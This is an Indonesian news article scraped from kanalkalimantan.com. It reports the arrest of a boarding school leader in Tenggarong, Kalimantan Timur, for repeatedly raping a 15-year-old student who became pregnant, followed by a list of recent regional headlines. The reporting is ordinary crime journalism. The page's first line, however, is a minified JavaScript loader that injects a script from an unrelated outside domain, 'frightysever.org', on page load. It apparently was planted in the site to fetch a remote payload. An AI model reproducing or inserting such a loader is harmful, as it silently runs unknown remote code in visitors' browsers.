(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Santriwati Ditiduri Pimpinan Ponpes di Tenggarong Hingga Hamil


KANALKALIMANTAN.COM, TENGGARONG – Seorang santri berusia 15 tahun diperkosa hingga hamil oleh Pimpinan Pondok Pesantren (Ponpes) inisial AA (48) di Kutai Kartanegara (Kukar), Kalimantan Timur (Kaltim).

Kasat Reskrim Polres Kukar AKP Dedik Santoso mengatakan, modus pelaku AA mengiming-imingi santri dengan uang dan jabatan tertinggi di pondok pesantren.

“Modusnya tersangka imingi korban jadi pemimpin ponpes (pondok pesantren) di salah satu ponpes miliknya. Kemudian diberikan uang sehari-hari senilai Rp 500 sampai Rp 700 ribu,” ujar AKP Dedik melansir klikkaltim.com, jaringan suara.com, Senin (28/3/2022).

Adapun menurut Dedik, peristiwa pemerkosaan terjadi berulang-ulang sejak 15 Januari 2021 dan terakhir pada 13 Desember 2021. AA pun mengaku sempat menikahi korban pada 25 Januari 2021, namun tanpa sepengetahuan orangtua korban.

 

Baca juga : Jelang Penetapan Awal Ramadhan 1443 Hijriyah, Pemkab HSU Gelar Pertemuan Ulama

“TKP (tempat kejadian perkara) di salah satu kamar Ponpes yang berada di Kelurahan Mahulu, Kecamatan Tenggarong, Korban melapor pada 19 Januari 2022 dan ditindaklanjuti hingga kini. Korban memang keadaan hamil 4 minggu,” jelasnya.

Dedik mengatakan, AA sempat tidak mengindahkan panggilan polisi sebanyak dua kali. Hingga akhirnya ditangkap saat berada di Kabupaten Bojonegoro pada 24 Maret, setelah sebelumnya ditetapkan sebagai DPO.

“Kita kerja sama dengan Polres Bojonegoro, yang mana saat ditangkap berada di wilayah Polres Bojonegoro. Kami koordinasi dan diamankan di salah satu rumah warga,” terangnya.

Saat ini, pelaku telah ditahan di Mapolres Tenggarong bersama barang bukti berupa pakaian korban. Atas perbuatannya AA disangkakan pasal 76D Jo 81 ayat 2 dan 3 UU perlindungan anak, No 35/2014 dengan ancaman maksimal 15 tahun penjara. (Kanalkalimantan.com/Suara.com)

Editor : kk


Desy Arfianty

Recent Posts

Rumah Penuh Air, Pak RT Mengungsi ke Rumah Tetangga

KANALKALIMANTAN.COM, MARTAPURA – Banjir yang melanda Desa Gudang Hirang, Kecamatan Sungaitabuk, Kabupaten Banjar menggenangi sejumlah… Read More

3 jam ago

Lonovila Menoreh Surga Tersembunyi di Perbukitan Menoreh

KANALKALIMANTAN.COM, YOGYAKARTA - Ada tempat yang tidak perlu banyak kata untuk membuat orang betah. Begitu… Read More

4 jam ago

Banjir di Komplek Antasari Perdana II Sungaitabuk, Akses Motor Lumpuh Total

KANALKALIMANTAN.COM, MARTAPURA – Banjir setinggi lutut orang dewasa menggenangi seluruh jalan di Komplek Antasari Perdana… Read More

4 jam ago

Bupati Banjar Bagikan Keperluan Warga Terdampak Banjir di Kelurahan Keraton

KANALKALIMANTAN.COM, MARTAPURA - Banjir di Kabupaten Banjar masih belum menunjukkan penurunan ketinggian air secara signifikan,… Read More

6 jam ago

Resmi! UMP Kalimantan Timur 2026 Naik 5,12%, Jadi Rp3,76 Juta

Upah Minimum Provinsi (UMP) Kalimantan Timur 2026 telah ditetapkan dan ditandatangani oleh Gubernur Rudy Mas’ud… Read More

12 jam ago

Tahun Baru Masalah Lama, Banjir Rendam Pemurus Dalam

KANALKALIMANTAN.COM, BANJARMASIN – Mengawali pergantian tahun, Kota Banjarmasin diguyur hujan dari pagi hingga petang, Kamis… Read More

1 hari ago

This website uses cookies.